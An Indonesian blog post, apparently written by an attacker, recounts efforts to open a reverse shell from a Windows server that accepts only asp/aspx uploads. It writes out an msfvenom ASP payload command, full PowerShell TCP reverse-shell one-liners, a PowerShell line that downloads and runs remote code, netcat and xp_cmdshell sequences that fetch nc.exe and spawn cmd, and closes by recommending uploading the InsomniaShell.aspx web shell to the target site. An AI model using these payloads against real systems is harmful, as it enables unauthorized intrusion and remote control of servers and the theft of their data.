Backconnect / Reverse Shell Windows Server

Sebelumnya mau cerita dikit case pada saat saya ingin melakukan backconnect atau Reverse Shell pada Windows Server. Pada kasus ini saya memiliki masalah saat exploitasi dengan kondisi sebagai berikut

  • Server hanya menerima file type asp dan aspx
  • Tidak ada python, perl atau semacamnya
  • Banyak fungsi yang didisable
  • Saya terlalu mager untuk buat payload .exe
Nah sebelum saya masuk ke cara resolvenya, saya paparkan beberapa teknik yang saya gunakan. Buat kamu yang ga sabaran langsung aja baca dibagian exploitasi

Kronologi

Reverse Shell Windows Menggunakan Metasploit
Cara pertama yang terbesit dikepala saya adalah menggunakan metasploit untuk membuat payload, untuk commandnya sendiri seperti berikut

msfvenom -p windows/meterpreter/reverse_tcp LHOST=Attacker_IP LPORT=Attacker_Listener_Port -f asp > shell.asp
Lalu muncul output
Would you like to use and setup a new database (recommended)? 
Preview

Yaps, ini adalah salah satu problem yang sering terjadi ketika menggunakan metasploit. Solusinya adalah dengan menggunakan sudo

sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 -f asp > shell.asp
Preview

setelah itu kita jalankan netcat pada vps atau pada terminal kalian
nc -lvp 1337
Upload nakanosec.asp ke site target dan coba buka untuk men trigger payload


Seperti yang anda lihat payload tereksekusi, Tapi output tidak dapat ditampilkan... ini sendiri sepertinya juga bukan ip milik server melainkan ip saya sendiri..

Reverse Shell Windows Menggunakan Powershell
Cara ke 2 yang terpikir adalah penggunaan powershell command, ini karena saya pernah melakukan backconnect pada sql injection into outfile pada server windows dengan powershell. Untuk Powershell command cheatsheet ada 3 macam seperti berikut:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8
Setelah saya coba satu per satu tidak ada yang berhasil, ntah karna apa saya sendiri juga kurang tau. yang jelas payload ini adalah salah satu payload terbaik untuk backconnect sqli into outfile. saya berfikir mungkin penggunaan encode bisa digunakan untuk mem bypass masalah ini

Reverse Shell Windows Menggunakan Powershell (Encode)
Pada teknik ini saya memakai bantuan tools, untuk commandnya seperti berikut.

wget -O https://gist.githubusercontent.com/tothi/ab288fb523a4b32b51a53e542d40fe58/raw/40ade3fb5e3665b82310c08d36597123c2e75ab4/mkpsrevshell.py

Kemudian jalankan dengan python3

python3 mkpsrevshell.py ip port
Preview

Ya, gagal lagi... mungkin penggunaan powershell didisable atau ntahlah...

Reverse Shell Windows Menggunakan netcat
Teknik berikutnya yang terpikir adalah pengunaan netcat, walaupun saya tau diservernya ga ada netcat tapi tetep saya coba


cmd.exe nc -nv 4444

Tentu saja gagal... :)

Reverse Shell Windows Menggunakan exec master..xp_cmdshell
Ya ini sendiri teknik lama banget, kalo ga salah buat dapetin revese shell dari sql gitu..

Petama kita setting dulu xp_cmdshell
EXEC sp_configure 'show advanced option', '1';RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'xp_cmdshell', 1;  RECONFIGURE;exec master..xp_cmdshell 'FTP -A 127.0.0.1';


Kedua Install dan jalankan netcat melalui cmdshell
exec master..xp_cmdshell 'echo get nc.exe > script.txt'
exec master..xp_cmdshell 'ftp -A -s:script.txt 127.0.0.1'
exec master..xp_cmdshell 'nc 127.0.0.1 1337 -e cmd'
Tentu saja ini juga tidak berhasil.. Oke ternyata dari sekian banyak percobaan, ada teknik yang sangat gampang.. yaitu menggunakan InsomniaShell 

Exploitasi
1. Download InsomniaShell.aspx Disini
2.Upload ke website
3.Isi Host dan Port Listener kalian pada Form Backconnect
 4.Klik Button dan liat pada listener kalian
Ok, Solved ternyata gitu doang cara backconnect dari windows server, semoga bermanfaat,,

Catatan: Hanya anggota dari blog ini yang dapat mengirim komentar.